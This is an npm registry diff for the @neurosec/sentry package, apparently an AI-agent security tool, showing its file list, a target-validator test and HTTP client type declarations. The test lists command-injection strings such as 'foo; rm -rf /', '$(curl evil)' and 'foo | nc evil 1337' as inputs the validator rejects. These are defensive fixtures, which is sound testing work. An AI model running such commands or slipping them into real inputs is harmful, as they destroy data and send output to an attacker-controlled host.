@neurosec/sentry 1.0.20 → 1.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +4 -0
- package/dist/api-auth.d.ts +31 -0
- package/dist/api-auth.d.ts.map +1 -0
- package/dist/api-auth.js +105 -0
- package/dist/api-auth.js.map +1 -0
- package/dist/api-auth.test.d.ts +2 -0
- package/dist/api-auth.test.d.ts.map +1 -0
- package/dist/api-auth.test.js +89 -0
- package/dist/api-auth.test.js.map +1 -0
- package/dist/api.d.ts +8 -7
- package/dist/api.d.ts.map +1 -1
- package/dist/api.js +141 -134
- package/dist/api.js.map +1 -1
- package/dist/cli.d.ts +1 -1
- package/dist/cli.d.ts.map +1 -1
- package/dist/cli.js +107 -14
- package/dist/cli.js.map +1 -1
- package/dist/cli.test.d.ts +2 -0
- package/dist/cli.test.d.ts.map +1 -0
- package/dist/cli.test.js +68 -0
- package/dist/cli.test.js.map +1 -0
- package/dist/config.d.ts +30 -0
- package/dist/config.d.ts.map +1 -1
- package/dist/config.js +68 -2
- package/dist/config.js.map +1 -1
- package/dist/config.test.d.ts +2 -0
- package/dist/config.test.d.ts.map +1 -0
- package/dist/config.test.js +121 -0
- package/dist/config.test.js.map +1 -0
- package/dist/discovery-win.d.ts +4 -0
- package/dist/discovery-win.d.ts.map +1 -0
- package/dist/discovery-win.js +153 -0
- package/dist/discovery-win.js.map +1 -0
- package/dist/discovery.d.ts.map +1 -1
- package/dist/discovery.js +23 -97
- package/dist/discovery.js.map +1 -1
- package/dist/discovery.test.js +18 -109
- package/dist/discovery.test.js.map +1 -1
- package/dist/enforcement/file-monitor.d.ts +9 -0
- package/dist/enforcement/file-monitor.d.ts.map +1 -1
- package/dist/enforcement/file-monitor.js +9 -2
- package/dist/enforcement/file-monitor.js.map +1 -1
- package/dist/enforcement/network-monitor.d.ts.map +1 -1
- package/dist/enforcement/network-monitor.js +350 -9
- package/dist/enforcement/network-monitor.js.map +1 -1
- package/dist/enforcement/network-monitor.test.d.ts +2 -0
- package/dist/enforcement/network-monitor.test.d.ts.map +1 -0
- package/dist/enforcement/network-monitor.test.js +52 -0
- package/dist/enforcement/network-monitor.test.js.map +1 -0
- package/dist/enforcement/policy-executor.d.ts +24 -1
- package/dist/enforcement/policy-executor.d.ts.map +1 -1
- package/dist/enforcement/policy-executor.js +213 -69
- package/dist/enforcement/policy-executor.js.map +1 -1
- package/dist/enforcement/policy-executor.test.d.ts +2 -0
- package/dist/enforcement/policy-executor.test.d.ts.map +1 -0
- package/dist/enforcement/policy-executor.test.js +46 -0
- package/dist/enforcement/policy-executor.test.js.map +1 -0
- package/dist/enforcement/target-validator.d.ts +37 -0
- package/dist/enforcement/target-validator.d.ts.map +1 -0
- package/dist/enforcement/target-validator.js +0 -0
- package/dist/enforcement/target-validator.js.map +1 -0
- package/dist/enforcement/target-validator.test.d.ts +2 -0
- package/dist/enforcement/target-validator.test.d.ts.map +1 -0
- package/dist/enforcement/target-validator.test.js +103 -0
- package/dist/enforcement/target-validator.test.js.map +1 -0
- package/dist/http-client.d.ts +35 -0
- package/dist/http-client.d.ts.map +1 -0
- package/dist/http-client.js +179 -0
- package/dist/http-client.js.map +1 -0
- package/dist/http-client.test.d.ts +2 -0
- package/dist/http-client.test.d.ts.map +1 -0
- package/dist/http-client.test.js +175 -0
- package/dist/http-client.test.js.map +1 -0
- package/dist/index.js +190 -114
- package/dist/index.js.map +1 -1
- package/dist/launcher.d.ts +33 -0
- package/dist/launcher.d.ts.map +1 -0
- package/dist/launcher.js +425 -0
- package/dist/launcher.js.map +1 -0
- package/dist/launcher.test.d.ts +2 -0
- package/dist/launcher.test.d.ts.map +1 -0
- package/dist/launcher.test.js +109 -0
- package/dist/launcher.test.js.map +1 -0
- package/dist/proxy/cert-manager.d.ts +24 -0
- package/dist/proxy/cert-manager.d.ts.map +1 -0
- package/dist/proxy/cert-manager.js +117 -0
- package/dist/proxy/cert-manager.js.map +1 -0
- package/dist/proxy/cert-manager.test.d.ts +2 -0
- package/dist/proxy/cert-manager.test.d.ts.map +1 -0
- package/dist/proxy/cert-manager.test.js +70 -0
- package/dist/proxy/cert-manager.test.js.map +1 -0
- package/dist/proxy/index.d.ts +61 -0
- package/dist/proxy/index.d.ts.map +1 -0
- package/dist/proxy/index.js +74 -0
- package/dist/proxy/index.js.map +1 -0
- package/dist/proxy/policy-enforcer.d.ts +30 -0
- package/dist/proxy/policy-enforcer.d.ts.map +1 -0
- package/dist/proxy/policy-enforcer.js +143 -0
- package/dist/proxy/policy-enforcer.js.map +1 -0
- package/dist/proxy/proxy-server.d.ts +42 -0
- package/dist/proxy/proxy-server.d.ts.map +1 -0
- package/dist/proxy/proxy-server.js +652 -0
- package/dist/proxy/proxy-server.js.map +1 -0
- package/dist/proxy/redaction-engine.d.ts +4 -0
- package/dist/proxy/redaction-engine.d.ts.map +1 -0
- package/dist/proxy/redaction-engine.js +50 -0
- package/dist/proxy/redaction-engine.js.map +1 -0
- package/dist/proxy/response-redaction.test.d.ts +2 -0
- package/dist/proxy/response-redaction.test.d.ts.map +1 -0
- package/dist/proxy/response-redaction.test.js +125 -0
- package/dist/proxy/response-redaction.test.js.map +1 -0
- package/dist/proxy/threat-engine.d.ts +22 -0
- package/dist/proxy/threat-engine.d.ts.map +1 -0
- package/dist/proxy/threat-engine.js +291 -0
- package/dist/proxy/threat-engine.js.map +1 -0
- package/dist/proxy/threat-engine.test.d.ts +2 -0
- package/dist/proxy/threat-engine.test.d.ts.map +1 -0
- package/dist/proxy/threat-engine.test.js +27 -0
- package/dist/proxy/threat-engine.test.js.map +1 -0
- package/dist/redirect/env-injector.d.ts +72 -0
- package/dist/redirect/env-injector.d.ts.map +1 -0
- package/dist/redirect/env-injector.js +177 -0
- package/dist/redirect/env-injector.js.map +1 -0
- package/dist/redirect/env-injector.test.d.ts +2 -0
- package/dist/redirect/env-injector.test.d.ts.map +1 -0
- package/dist/redirect/env-injector.test.js +91 -0
- package/dist/redirect/env-injector.test.js.map +1 -0
- package/dist/redirect/index.d.ts +3 -0
- package/dist/redirect/index.d.ts.map +1 -0
- package/dist/redirect/index.js +8 -0
- package/dist/redirect/index.js.map +1 -0
- package/dist/redirect/platform-redirect.d.ts +42 -0
- package/dist/redirect/platform-redirect.d.ts.map +1 -0
- package/dist/redirect/platform-redirect.js +229 -0
- package/dist/redirect/platform-redirect.js.map +1 -0
- package/dist/redirect/platform-redirect.test.d.ts +2 -0
- package/dist/redirect/platform-redirect.test.d.ts.map +1 -0
- package/dist/redirect/platform-redirect.test.js +76 -0
- package/dist/redirect/platform-redirect.test.js.map +1 -0
- package/dist/sandbox/index.d.ts +23 -2
- package/dist/sandbox/index.d.ts.map +1 -1
- package/dist/sandbox/index.js +24 -7
- package/dist/sandbox/index.js.map +1 -1
- package/dist/sandbox/linux-sandbox.d.ts +13 -2
- package/dist/sandbox/linux-sandbox.d.ts.map +1 -1
- package/dist/sandbox/linux-sandbox.js +61 -27
- package/dist/sandbox/linux-sandbox.js.map +1 -1
- package/dist/sandbox/macos-sandbox.d.ts +15 -4
- package/dist/sandbox/macos-sandbox.d.ts.map +1 -1
- package/dist/sandbox/macos-sandbox.js +36 -18
- package/dist/sandbox/macos-sandbox.js.map +1 -1
- package/dist/sandbox/sandbox-result.test.d.ts +2 -0
- package/dist/sandbox/sandbox-result.test.d.ts.map +1 -0
- package/dist/sandbox/sandbox-result.test.js +87 -0
- package/dist/sandbox/sandbox-result.test.js.map +1 -0
- package/dist/sandbox/windows-sandbox.d.ts +34 -0
- package/dist/sandbox/windows-sandbox.d.ts.map +1 -0
- package/dist/sandbox/windows-sandbox.js +161 -0
- package/dist/sandbox/windows-sandbox.js.map +1 -0
- package/dist/setup.d.ts.map +1 -1
- package/dist/setup.js +33 -43
- package/dist/setup.js.map +1 -1
- package/dist/skill-authz/skill-evaluator.d.ts +30 -0
- package/dist/skill-authz/skill-evaluator.d.ts.map +1 -1
- package/dist/skill-authz/skill-evaluator.js +161 -30
- package/dist/skill-authz/skill-evaluator.js.map +1 -1
- package/dist/skill-authz/skill-evaluator.test.d.ts +2 -0
- package/dist/skill-authz/skill-evaluator.test.d.ts.map +1 -0
- package/dist/skill-authz/skill-evaluator.test.js +127 -0
- package/dist/skill-authz/skill-evaluator.test.js.map +1 -0
- package/dist/telemetry.d.ts +2 -8
- package/dist/telemetry.d.ts.map +1 -1
- package/dist/telemetry.js +17 -147
- package/dist/telemetry.js.map +1 -1
- package/dist/types.d.ts +48 -105
- package/dist/types.d.ts.map +1 -1
- package/dist/types.js +34 -1
- package/dist/types.js.map +1 -1
- package/package.json +7 -3
- package/scripts/install-sentry-windows.ps1 +217 -0
- package/dist/action-logger.d.ts +0 -40
- package/dist/action-logger.d.ts.map +0 -1
- package/dist/action-logger.js +0 -252
- package/dist/action-logger.js.map +0 -1
- package/dist/agent-registry.d.ts +0 -24
- package/dist/agent-registry.d.ts.map +0 -1
- package/dist/agent-registry.js +0 -176
- package/dist/agent-registry.js.map +0 -1
- package/dist/anomaly-detector.d.ts +0 -26
- package/dist/anomaly-detector.d.ts.map +0 -1
- package/dist/anomaly-detector.js +0 -299
- package/dist/anomaly-detector.js.map +0 -1
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"target-validator.test.d.ts","sourceRoot":"","sources":["../../src/enforcement/target-validator.test.ts"],"names":[],"mappings":""}
|
|
@@ -0,0 +1,103 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
const vitest_1 = require("vitest");
|
|
4
|
+
const target_validator_1 = require("./target-validator");
|
|
5
|
+
(0, vitest_1.describe)('target-validator / validateTarget', () => {
|
|
6
|
+
(0, vitest_1.describe)('accepts', () => {
|
|
7
|
+
(0, vitest_1.it)('plain hostnames', () => {
|
|
8
|
+
(0, vitest_1.expect)((0, target_validator_1.validateTarget)('api.openai.com').kind).toBe('hostname');
|
|
9
|
+
(0, vitest_1.expect)((0, target_validator_1.validateTarget)('a.b.c.example.co.uk').kind).toBe('hostname');
|
|
10
|
+
});
|
|
11
|
+
(0, vitest_1.it)('wildcard hostnames', () => {
|
|
12
|
+
(0, vitest_1.expect)((0, target_validator_1.validateTarget)('*.openai.com').kind).toBe('wildcard');
|
|
13
|
+
(0, vitest_1.expect)((0, target_validator_1.validateTarget)('*.a.b').kind).toBe('wildcard');
|
|
14
|
+
});
|
|
15
|
+
(0, vitest_1.it)('IPv4 and IPv4 CIDR', () => {
|
|
16
|
+
(0, vitest_1.expect)((0, target_validator_1.validateTarget)('203.0.113.42').kind).toBe('ipv4');
|
|
17
|
+
(0, vitest_1.expect)((0, target_validator_1.validateTarget)('10.0.0.0/8').kind).toBe('ipv4-cidr');
|
|
18
|
+
(0, vitest_1.expect)((0, target_validator_1.validateTarget)('255.255.255.255').kind).toBe('ipv4');
|
|
19
|
+
});
|
|
20
|
+
(0, vitest_1.it)('IPv6 and IPv6 CIDR', () => {
|
|
21
|
+
(0, vitest_1.expect)((0, target_validator_1.validateTarget)('2001:db8::1').kind).toBe('ipv6');
|
|
22
|
+
(0, vitest_1.expect)((0, target_validator_1.validateTarget)('2001:db8::/32').kind).toBe('ipv6-cidr');
|
|
23
|
+
(0, vitest_1.expect)((0, target_validator_1.validateTarget)('::1').kind).toBe('ipv6');
|
|
24
|
+
});
|
|
25
|
+
(0, vitest_1.it)('pid spec', () => {
|
|
26
|
+
const r = (0, target_validator_1.validateTarget)('pid:12345');
|
|
27
|
+
(0, vitest_1.expect)(r.kind).toBe('pid');
|
|
28
|
+
(0, vitest_1.expect)(r.pid).toBe(12345);
|
|
29
|
+
});
|
|
30
|
+
(0, vitest_1.it)('framework ids', () => {
|
|
31
|
+
(0, vitest_1.expect)((0, target_validator_1.validateTarget)('claude-code').kind).toBe('framework');
|
|
32
|
+
(0, vitest_1.expect)((0, target_validator_1.validateTarget)('langchain').kind).toBe('framework');
|
|
33
|
+
(0, vitest_1.expect)((0, target_validator_1.validateTarget)('opencode').kind).toBe('framework');
|
|
34
|
+
});
|
|
35
|
+
});
|
|
36
|
+
(0, vitest_1.describe)('rejects (injection attempts)', () => {
|
|
37
|
+
const injections = [
|
|
38
|
+
'foo; rm -rf /',
|
|
39
|
+
'127.0.0.1 && curl evil',
|
|
40
|
+
'$(curl evil)',
|
|
41
|
+
'`whoami`',
|
|
42
|
+
'foo | nc evil 1337',
|
|
43
|
+
'foo > /etc/passwd',
|
|
44
|
+
'foo\nrm -rf /',
|
|
45
|
+
'foo\trm -rf /',
|
|
46
|
+
'-d evil', // could be parsed as a flag
|
|
47
|
+
'--match', // long flag
|
|
48
|
+
'\'foo\'',
|
|
49
|
+
'"foo"',
|
|
50
|
+
'foo\\bar',
|
|
51
|
+
'foo bar', // bare whitespace
|
|
52
|
+
'', // empty
|
|
53
|
+
' '.repeat(10), // pure whitespace
|
|
54
|
+
'a'.repeat(257), // too long
|
|
55
|
+
];
|
|
56
|
+
for (const s of injections) {
|
|
57
|
+
(0, vitest_1.it)(`rejects ${JSON.stringify(s).slice(0, 60)}`, () => {
|
|
58
|
+
(0, vitest_1.expect)((0, target_validator_1.validateTarget)(s).kind).toBe('invalid');
|
|
59
|
+
});
|
|
60
|
+
}
|
|
61
|
+
});
|
|
62
|
+
(0, vitest_1.describe)('rejects malformed', () => {
|
|
63
|
+
(0, vitest_1.it)('octet > 255', () => {
|
|
64
|
+
(0, vitest_1.expect)((0, target_validator_1.validateTarget)('256.0.0.1').kind).toBe('invalid');
|
|
65
|
+
});
|
|
66
|
+
(0, vitest_1.it)('CIDR mask out of range', () => {
|
|
67
|
+
(0, vitest_1.expect)((0, target_validator_1.validateTarget)('10.0.0.0/33').kind).toBe('invalid');
|
|
68
|
+
(0, vitest_1.expect)((0, target_validator_1.validateTarget)('::1/129').kind).toBe('invalid');
|
|
69
|
+
});
|
|
70
|
+
(0, vitest_1.it)('pid 0 or negative', () => {
|
|
71
|
+
(0, vitest_1.expect)((0, target_validator_1.validateTarget)('pid:0').kind).toBe('invalid');
|
|
72
|
+
(0, vitest_1.expect)((0, target_validator_1.validateTarget)('pid:-1').kind).toBe('invalid');
|
|
73
|
+
});
|
|
74
|
+
(0, vitest_1.it)('hostname with bad chars', () => {
|
|
75
|
+
(0, vitest_1.expect)((0, target_validator_1.validateTarget)('foo_bar.com').kind).toBe('invalid'); // underscore not allowed
|
|
76
|
+
(0, vitest_1.expect)((0, target_validator_1.validateTarget)('.foo.com').kind).toBe('invalid'); // leading dot
|
|
77
|
+
(0, vitest_1.expect)((0, target_validator_1.validateTarget)('foo.com.').kind).toBe('invalid'); // trailing dot
|
|
78
|
+
});
|
|
79
|
+
(0, vitest_1.it)('wildcard with multiple stars', () => {
|
|
80
|
+
(0, vitest_1.expect)((0, target_validator_1.validateTarget)('*.*.foo.com').kind).toBe('invalid');
|
|
81
|
+
});
|
|
82
|
+
(0, vitest_1.it)('non-string input', () => {
|
|
83
|
+
(0, vitest_1.expect)((0, target_validator_1.validateTarget)(123).kind).toBe('invalid');
|
|
84
|
+
(0, vitest_1.expect)((0, target_validator_1.validateTarget)(null).kind).toBe('invalid');
|
|
85
|
+
(0, vitest_1.expect)((0, target_validator_1.validateTarget)(undefined).kind).toBe('invalid');
|
|
86
|
+
(0, vitest_1.expect)((0, target_validator_1.validateTarget)({}).kind).toBe('invalid');
|
|
87
|
+
});
|
|
88
|
+
});
|
|
89
|
+
(0, vitest_1.describe)('isNetworkTarget', () => {
|
|
90
|
+
(0, vitest_1.it)('accepts hostnames, wildcards, IPs, CIDRs', () => {
|
|
91
|
+
(0, vitest_1.expect)((0, target_validator_1.isNetworkTarget)((0, target_validator_1.validateTarget)('api.openai.com'))).toBe(true);
|
|
92
|
+
(0, vitest_1.expect)((0, target_validator_1.isNetworkTarget)((0, target_validator_1.validateTarget)('*.openai.com'))).toBe(true);
|
|
93
|
+
(0, vitest_1.expect)((0, target_validator_1.isNetworkTarget)((0, target_validator_1.validateTarget)('10.0.0.1'))).toBe(true);
|
|
94
|
+
(0, vitest_1.expect)((0, target_validator_1.isNetworkTarget)((0, target_validator_1.validateTarget)('10.0.0.0/8'))).toBe(true);
|
|
95
|
+
});
|
|
96
|
+
(0, vitest_1.it)('rejects pids, frameworks, invalid', () => {
|
|
97
|
+
(0, vitest_1.expect)((0, target_validator_1.isNetworkTarget)((0, target_validator_1.validateTarget)('pid:1234'))).toBe(false);
|
|
98
|
+
(0, vitest_1.expect)((0, target_validator_1.isNetworkTarget)((0, target_validator_1.validateTarget)('claude-code'))).toBe(false);
|
|
99
|
+
(0, vitest_1.expect)((0, target_validator_1.isNetworkTarget)((0, target_validator_1.validateTarget)('foo;rm'))).toBe(false);
|
|
100
|
+
});
|
|
101
|
+
});
|
|
102
|
+
});
|
|
103
|
+
//# sourceMappingURL=target-validator.test.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"target-validator.test.js","sourceRoot":"","sources":["../../src/enforcement/target-validator.test.ts"],"names":[],"mappings":"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"}
|
|
@@ -0,0 +1,35 @@
|
|
|
1
|
+
import https from 'https';
|
|
2
|
+
export interface SecureHttpOptions {
|
|
3
|
+
endpoint: string;
|
|
4
|
+
caBundlePath?: string;
|
|
5
|
+
pinnedFingerprintSha256?: string;
|
|
6
|
+
allowInsecureTls?: boolean;
|
|
7
|
+
timeoutMs?: number;
|
|
8
|
+
}
|
|
9
|
+
export interface SecureRequestOptions {
|
|
10
|
+
method?: string;
|
|
11
|
+
path: string;
|
|
12
|
+
headers?: Record<string, string>;
|
|
13
|
+
body?: unknown;
|
|
14
|
+
}
|
|
15
|
+
export interface SecureRequestResult {
|
|
16
|
+
statusCode: number;
|
|
17
|
+
body: string;
|
|
18
|
+
parsed: unknown;
|
|
19
|
+
}
|
|
20
|
+
export declare function isValidFingerprint(fp: string): boolean;
|
|
21
|
+
/**
|
|
22
|
+
* Build an https.Agent configured for the NeuroSec endpoint.
|
|
23
|
+
*
|
|
24
|
+
* IMPORTANT: rejectUnauthorized is ALWAYS true unless the caller explicitly
|
|
25
|
+
* sets allowInsecureTls=true AND the runtime is non-production. Production
|
|
26
|
+
* builds silently coerce this back to true so a misconfigured deploy still
|
|
27
|
+
* verifies its peer.
|
|
28
|
+
*/
|
|
29
|
+
export declare function createSecureAgent(options: SecureHttpOptions): https.Agent | undefined;
|
|
30
|
+
/**
|
|
31
|
+
* Perform a request against the NeuroSec endpoint with strict TLS.
|
|
32
|
+
* When `pinnedFingerprintSha256` is set, aborts on fingerprint mismatch.
|
|
33
|
+
*/
|
|
34
|
+
export declare function secureRequest(options: SecureHttpOptions, request: SecureRequestOptions): Promise<SecureRequestResult>;
|
|
35
|
+
//# sourceMappingURL=http-client.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
